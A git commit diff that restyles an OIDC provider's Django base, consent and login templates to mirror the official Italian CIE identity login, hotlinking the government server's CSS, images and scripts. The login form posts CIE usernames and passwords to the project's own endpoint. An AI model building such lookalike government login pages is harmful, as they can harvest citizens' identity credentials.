refactor: enhance structure and styling in base, user consent, and login templates for consistency with CIE branding

This commit is contained in:
gabdevele
2026-06-18 14:53:29 +02:00 Unverified
parent c4b8117e4e
commit 3f5dfb3577
3 changed files with 247 additions and 328 deletions
+63 -230
View File
@@ -1,241 +1,74 @@
{% load i18n %}
<!DOCTYPE html>
<html lang="it">
<html class="h-100" lang="it">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{% block page_title %}CIE Login{% endblock page_title %}</title>
<style>
:root {
--cie-blue: #0059b3;
--cie-blue-dark: #004b98;
--cie-line: #d8e6f3;
--cie-input-line: #8ea3ba;
--cie-text: #1d3552;
--cie-muted: #607792;
--cie-bg: #fbfcfe;
--cie-white: #ffffff;
}
* { box-sizing: border-box; }
html, body { margin: 0; padding: 0; }
body {
font-family: "Titillium Web", "Segoe UI", Arial, sans-serif;
color: var(--cie-text);
background:
linear-gradient(180deg, rgba(255,255,255,1) 0%, rgba(249,251,254,1) 100%);
}
a { color: var(--cie-blue); }
.cie-page { min-height: 100vh; }
.cie-header {
background: var(--cie-white);
border-bottom: 1px solid var(--cie-line);
}
.cie-header-inner,
.cie-main {
width: min(1140px, calc(100% - 32px));
margin: 0 auto;
}
.cie-header-inner {
display: flex;
align-items: center;
justify-content: space-between;
padding: 14px 0 13px;
}
.cie-header-right {
display: flex;
align-items: center;
gap: 42px;
}
.cie-ministry-logo {
width: 170px;
height: auto;
display: block;
}
.cie-lang {
font-size: 14px;
font-weight: 600;
color: var(--cie-blue);
white-space: nowrap;
}
.cie-lang::after {
content: "⌄";
margin-left: 6px;
font-size: 11px;
position: relative;
top: -1px;
}
.cie-logo {
width: 86px;
height: auto;
display: block;
}
.cie-main {
padding: 30px 0 70px;
}
.cie-kicker {
margin: 0 0 8px 80px;
color: #003d86;
font-size: 15px;
font-weight: 700;
text-transform: uppercase;
}
.cie-title {
margin: 0 0 34px 80px;
color: var(--cie-blue);
font-size: 38px;
line-height: 1.05;
font-weight: 700;
}
.cie-login-card {
width: min(1015px, calc(100% - 80px));
margin-left: 60px;
background: var(--cie-white);
box-shadow: 0 12px 30px rgba(24, 49, 80, 0.08);
border: 1px solid rgba(221, 231, 241, 0.85);
}
.cie-login-grid {
display: grid;
grid-template-columns: minmax(0, 1fr) 1px 420px;
}
.cie-divider {
background: var(--cie-line);
width: 1px;
}
.cie-panel {
padding: 28px 25px 32px;
}
.cie-panel-title {
margin: 0 0 26px;
color: var(--cie-blue);
font-size: 24px;
line-height: 1.15;
font-weight: 700;
}
.cie-side-copy {
margin: 0;
color: var(--cie-muted);
font-size: 15px;
line-height: 1.55;
}
.cie-side-block {
margin-top: 28px;
padding-top: 6px;
}
.cie-side-box {
margin-top: 26px;
padding: 18px 0 0;
border-top: 1px solid var(--cie-line);
color: var(--cie-muted);
font-size: 15px;
line-height: 1.6;
}
.cie-field {
position: relative;
margin-bottom: 54px;
}
.cie-input {
width: 100%;
border: 0;
border-bottom: 1px solid var(--cie-input-line);
padding: 5px 34px 10px 10px;
font-size: 17px;
color: var(--cie-text);
background: transparent;
outline: 0;
}
.cie-input::placeholder {
color: #637995;
opacity: 1;
}
.cie-input:focus {
border-bottom-color: var(--cie-blue);
box-shadow: inset 0 -1px 0 var(--cie-blue);
}
.cie-input-icon {
position: absolute;
right: 6px;
top: 3px;
color: var(--cie-blue);
font-size: 24px;
line-height: 1;
pointer-events: none;
}
.cie-links {
margin: -20px 0 34px;
color: var(--cie-muted);
font-size: 15px;
line-height: 1.4;
}
.cie-links strong a,
.cie-bottom-links strong a {
color: var(--cie-blue);
text-decoration: underline;
}
.cie-actions {
display: grid;
grid-template-columns: 176px 1fr;
gap: 20px;
margin-bottom: 30px;
}
.cie-btn {
min-height: 52px;
border-radius: 4px;
display: inline-flex;
align-items: center;
justify-content: center;
text-decoration: none;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.cie-btn-secondary {
background: var(--cie-white);
color: var(--cie-blue);
border: 2px solid var(--cie-blue);
}
.cie-btn-primary {
background: var(--cie-blue);
color: var(--cie-white);
border: 2px solid var(--cie-blue);
}
.cie-btn-primary:hover { background: var(--cie-blue-dark); }
.cie-bottom-links {
color: var(--cie-muted);
font-size: 15px;
line-height: 1.4;
}
.cie-error {
margin-top: 10px;
color: #b42318;
font-size: 14px;
}
@media (max-width: 980px) {
.cie-kicker,
.cie-title,
.cie-login-card { margin-left: 0; }
.cie-login-card { width: 100%; }
.cie-login-grid { grid-template-columns: 1fr; }
.cie-divider { display: none; }
.cie-panel + .cie-panel { border-top: 1px solid var(--cie-line); }
.cie-actions { grid-template-columns: 1fr; }
.cie-header-right { gap: 20px; }
}
</style>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<link rel="stylesheet" href="https://idserver.servizicie.interno.gov.it/idp/css/l12/bootstrap-italia.min.css">
<link rel="stylesheet" href="https://idserver.servizicie.interno.gov.it/idp/css/l12/l12.css?202603172014">
<link rel="apple-touch-icon" sizes="57x57" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/apple-touch-icon-180x180.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="192x192" href="https://idserver.servizicie.interno.gov.it/idp/images/favicon/android-chrome-192x192.png">
<script src="https://idserver.servizicie.interno.gov.it/idp/js/l12/bootstrap-italia.bundle.min.js"></script>
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
{% block extra_head %}{% endblock extra_head %}
</head>
<body>
<div class="cie-page">
<header class="cie-header">
<div class="cie-header-inner">
<img class="cie-ministry-logo" src="https://idserver.servizicie.interno.gov.it/idp/images/l12/[email protected]" alt="Ministero dell'Interno">
<div class="cie-header-right">
<div class="cie-lang">ITA</div>
<img class="cie-logo" src="https://idserver.servizicie.interno.gov.it/idp/images/l12/CIE.png" alt="Carta d'identita elettronica">
<body class="d-flex flex-column h-100">
<div id="wrapperL12-header" class="it-header-wrapper ipzs-bb py-2">
<div class="it-header-slim-wrapper">
<div class="container">
<div class="row it-header-slim-wrapper-content">
<div class="col">
<img src="https://idserver.servizicie.interno.gov.it/idp/images/l12/[email protected]" alt="Ministero dell'Interno"/>
</div>
<div class="col-1 text-right">
<div class="it-header-slim-right-zone">
<div class="menu-wrapper" id="switchLang">
<ul class="navbar-nav">
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" role="button" id="eccLangNavDropdown" data-toggle="dropdown" aria-expanded="false" aria-haspopup="true">
<span class="sr-only">Selezione lingua: lingua selezionata</span>
<span>ITA</span>
<svg class="icon-expand icon icon-xs"><use href="https://idserver.servizicie.interno.gov.it/idp/images/l12/sprite.svg#it-expand"></use></svg>
</a>
<div class="dropdown-menu" role="region" aria-labelledby="eccLangNavDropdown">
<div class="link-list-wrapper">
<ul class="link-list">
<li><a class="dropdown-item list-item current" href="#"><span>ITA <span class="sr-only">selezionata</span></span></a></li>
<li><a class="dropdown-item list-item" href="#"><span>DEU</span></a></li>
</ul>
</div>
</div>
</header>
<main class="cie-main">
</li>
</ul>
</div>
</div>
</div>
<div class="col-4 col-lg-1 text-right">
<img src="https://idserver.servizicie.interno.gov.it/idp/images/l12/CIE.png" alt="Carta d'identita' elettronica"/>
</div>
</div>
</div>
</div>
</div>
<div id="wrapperL12">
<div class="container my-4">
{% block container %}{% endblock container %}
</main>
</div>
</div>
</body>
</html>
+42 -30
View File
@@ -4,48 +4,60 @@
{% block page_title %}Rilascio Attributi{% endblock page_title %}
{% block container %}
<p class="cie-kicker">{% trans "Richiesta d'accesso CIE livello 2" %}</p>
<h1 class="cie-title">{{ client_organization_name|default:"Visione" }}</h1>
<section class="cie-login-card">
<div class="cie-panel" style="width:100%;">
<div class="row">
<div class="col-1 col-md-2 d-none d-sm-flex"></div>
<div class="col">
<div class="row">
<div class="col"></div>
<div class="col-12 col-lg-10 mt-5">
<div class="card-wrapper card-space">
<div class="card card-bg">
<div class="card-body">
<form method="post" action="{% url 'oidc_provider_consent' %}">
{% csrf_token %}
{% for hidden in form.hidden_fields %}
{{ hidden }}
{% endfor %}
{% for hidden in form.hidden_fields %}{{ hidden }}{% endfor %}
<div class="container attribute-release mt-3 px-4">
<div class="row">
<div class="col">
<div class="text-justify">
<p class="cie-side-copy" style="margin-top:0;">
Richiesta di accesso CIE <strong>Livello</strong> <strong>{{ session.acr|default:"2" }}</strong>
</p>
<p class="cie-side-copy" style="margin-bottom:0;">
I seguenti dati stanno per essere inviati a:<br>
<strong style="color:#0059b3; font-size:20px;">{{ client_organization_name|default:"Visione" }}</strong>
<p class="c3 f09">Richiesta di accesso CIE <strong>Livello</strong> <strong id="providingLevel">{{ session.acr|default:"2" }}</strong></p>
<p class="c3 f11">
I seguenti dati stanno per essere inviati a:
<br/>
<strong class="c0">{{ client_organization_name|default:"Visione" }}</strong>
</p>
</div>
<div class="cie-side-box" style="margin-top:32px;">
<ul class="cie-claims" style="margin-top:0;">
<div class="my-5">
<ul class="c3 text-justify ml-n3 f09">
{% for claim in user_claims %}
<li>{{ claim }}</li>
<li>
<span class="c3">{{ claim }}</span>
</li>
{% endfor %}
</ul>
</div>
<div class="cie-actions" style="margin-top:34px;">
<button type="submit" class="cie-btn cie-btn-secondary" name="_eventId_AttributeReleaseRejected" value="Rifiuto">
{% trans "Annulla" %}
</button>
<button type="submit" class="cie-btn cie-btn-primary" name="_eventId_proceed" value="Prosegui">
{% trans "Prosegui" %}
</button>
</div>
</div>
<p class="cie-bottom-links" style="margin-top:0;">
{% trans "Se procedi le informazioni sopra riportate saranno trasmesse al servizio." %}
</p>
<div class="row buttons mt-4 pb-3">
<div class="col-12 col-lg-4 text-center mb-3">
<a href="{% url 'oidc_provider_not_consent' %}?redirect_uri={{ redirect_uri|urlencode }}&state={{ state|urlencode }}" class="btn btn-outline-primary w-100 text-nowrap" id="do_not_agree">Annulla</a>
</div>
<div class="col-12 col-lg-4 text-center">
<button type="submit" class="btn btn-primary w-100" id="agree">Prosegui</button>
</div>
<div class="col-12 col-lg-4"></div>
</div>
</div>
</form>
</div>
</section>
</div>
</div>
</div>
<div class="col"></div>
</div>
</div>
<div class="col-1 col-md-2 d-none d-sm-flex"></div>
</div>
{% endblock container %}
+123 -49
View File
@@ -1,66 +1,140 @@
{% extends 'op_base.html' %}
{% load i18n %}
{% block page_title %}Visione CIE Login{% endblock page_title %}
{% block page_title %}CIE Login{% endblock page_title %}
{% block extra_head %}
<script src="https://idserver.servizicie.interno.gov.it/idp/js/l12/l12.js.jsp?202603172014"></script>
<style>
#loginwithappcard, .cie-card-separator, .cie-read-card { display: none !important; }
.password-icon { position: absolute; right: 0.85rem; top: 0.85rem; z-index: 4; }
.password-icon svg { width: 20px; height: 20px; }
</style>
{% endblock extra_head %}
{% block container %}
<p class="cie-kicker">{% trans "Richiesta d'accesso CIE livello 2" %}</p>
<h1 class="cie-title">{{ client_organization_name|default:"Visione" }}</h1>
<div class="row">
<div class="col-1 col-md-2 col-lg-1 d-none d-sm-flex"></div>
<div class="col">
<div class="row">
<div id="title" class="mb-4 col">
<p class="c1">
<strong>RICHIESTA D'ACCESSO CIE LIVELLO 2</strong>
</p>
<h1>{{ client_organization_name|default:"Visione" }}</h1>
</div>
</div>
</div>
<div class="col-1 col-md-2 col-lg-1 d-none d-sm-flex"></div>
</div>
<section class="cie-login-card">
<div class="cie-login-grid">
<div class="cie-panel">
<h2 class="cie-panel-title">{% trans "Entra con le tue credenziali CIE" %}</h2>
<form method="post" action="{% url 'oidc_provider_authnrequest' %}">
<div class="row">
<div class="col-1 col-md-2 col-lg-1 d-none d-sm-flex"></div>
<div class="col mx-0 mx-sm-n4">
<div class="card-wrapper card-space">
<div class="card card-bg card-bg-small-none card-big py-0 mx-0 mx-md-1">
<div class="card-body p-0 p-sm-4">
<div class="row">
<div class="col-12 col-lg-6 pr-lg-4">
<h2>Entra con le tue credenziali CIE</h2>
<div id="statusHandler" class="row mb-4 mx-n2 error">
{% if form.username.errors or form.password.errors %}
<div class="col">
{% for error in form.username.errors %}<p class="mb-1">{{ error }}</p>{% endfor %}
{% for error in form.password.errors %}<p class="mb-1">{{ error }}</p>{% endfor %}
</div>
{% else %}
<div class="col"><br/><br/></div>
{% endif %}
</div>
<div class="mt-3">
<form method="POST" action="{% url 'oidc_provider_authnrequest' %}" id="loginUP">
{% csrf_token %}
{% for form_field in form.visible_fields %}
<div class="cie-field">
{% if form_field.field.widget.input_type %}
{% for hidden in hidden_form.hidden_fields %}{{ hidden }}{% endfor %}
<div class="form-row">
<div class="form-group col mb-5">
<div class="input-group">
<label for="id_username" class="sr-only">Numero CIE o Codice fiscale o Email</label>
<input
id="id_{{ form_field.html_name }}"
class="cie-input"
type="{{ form_field.field.widget.input_type }}"
name="{{ form_field.name }}"
value="{{ form_field.value|default_if_none:'' }}"
placeholder="{{ form_field.label }}">
{% endif %}
<span class="cie-input-icon" aria-hidden="true">
{% if form_field.name == 'username' %}ⓘ{% else %}◉{% endif %}
</span>
{% if form_field.errors %}
<div class="cie-error">{{ form_field.errors }}</div>
{% endif %}
</div>
{% endfor %}
{% for hidden in hidden_form.hidden_fields %}
{{ hidden }}
{% endfor %}
<div class="cie-links">
{% trans "Hai dimenticato la password?" %} <strong><a href="#" onclick="return false;">{% trans "Richiedine una nuova." %}</a></strong>
</div>
<div class="cie-actions">
<a class="cie-btn cie-btn-secondary" href="{% url 'oidc_provider_not_consent' %}?redirect_uri={{ redirect_uri|urlencode }}&state={{ state|urlencode }}">
{% trans "Annulla" %}
type="text"
class="form-control"
id="id_username"
name="username"
placeholder="Numero CIE o Codice fiscale o Email"
value="{{ form.username.value|default_if_none:'' }}"
autocomplete="username"
tabindex="1"/>
<div class="input-group-append">
<div class="input-group-text" id="usernameIcon">
<a href="#" onclick="return false;">
<svg class="icon icon-primary icon-sm"><use xlink:href="https://idserver.servizicie.interno.gov.it/idp/images/l12/sprite.svg#it-info-circle"></use></svg>
</a>
<button class="cie-btn cie-btn-primary" type="submit">{% trans "Procedi" %}</button>
</div>
<div class="cie-bottom-links">
{% trans "Non hai ancora attivato le credenziali CIE?" %} <strong><a href="#" onclick="return false;">{% trans "Attivale ora" %}</a></strong>
</div>
</div>
<div class="ipzs-validator" id="usernameError">&nbsp;</div>
</div>
</div>
<div class="form-row">
<div class="form-group col mb-2">
<div class="input-group">
<label for="id_password" class="sr-only">Password</label>
<input
type="password"
class="form-control input-password"
id="id_password"
name="password"
placeholder="Password"
value=""
autocomplete="current-password"
tabindex="2"/>
<span class="password-icon" aria-hidden="true">
<svg class="password-icon-invisible icon icon-primary icon-sm"><use xlink:href="https://idserver.servizicie.interno.gov.it/idp/images/l12/sprite.svg#it-password-invisible"></use></svg>
</span>
</div>
<div class="ipzs-validator" id="passwordError">&nbsp;</div>
</div>
</div>
<div class="mt-1 pb-1">
<p class="c2">Hai dimenticato la password? <strong><a href="https://www.cartaidentita.interno.gov.it/pgic/login/recupera-password" title="Richiedine una nuova." class="text-nowrap" target="_blank">Richiedine una nuova.</a></strong></p>
</div>
<div class="row buttons mt-4 pb-3">
<div class="col-12 col-md-5 text-center mb-3 pr-md-3">
<a href="{% url 'oidc_provider_not_consent' %}?redirect_uri={{ redirect_uri|urlencode }}&state={{ state|urlencode }}" class="btn btn-outline-primary w-100 text-nowrap">Annulla</a>
</div>
<div class="col-12 col-md-7 text-center">
<button type="submit" class="btn btn-primary w-100">Procedi</button>
</div>
</div>
<div>
<p class="c2">Non hai ancora attivato le credenziali CIE? <strong><a href="https://www.cartaidentita.interno.gov.it/pgic/attivazione-credenziali-puk" title="Attiva ora le credenziali CIE" class="text-nowrap" target="_blank">Attivale ora</a></strong></p>
</div>
</form>
</div>
<div class="cie-divider" aria-hidden="true"></div>
<aside class="cie-panel">
<h2 class="cie-panel-title">{% trans "Accesso al servizio" %}</h2>
<p class="cie-side-copy">
{% blocktrans with service=client_organization_name|default:"Visione" %}
Hai attivato le credenziali CIE livello 2. Con questo accesso stai entrando nel servizio {{ service }}.
{% endblocktrans %}
</div>
<div class="col-12 col-lg-6 pl-lg-4">
<h2>Accesso al servizio</h2>
<p class="c2">
Stai autorizzando accesso a <strong>{{ client_organization_name|default:"Visione" }}</strong> con credenziali CIE livello 2.
</p>
<p class="c2 mt-4">
Se annulli o rifiuti autorizzazione, browser tornerà sempre a Visione.
</p>
<div class="cie-side-box">
{% trans "Se annulli o rifiuti autorizzazione, browser tornerà sempre a Visione." %}
</div>
</aside>
</div>
</section>
</div>
</div>
</div>
</div>
<div class="col-1 col-md-2 col-lg-1 d-none d-sm-flex"></div>
</div>
{% endblock container %}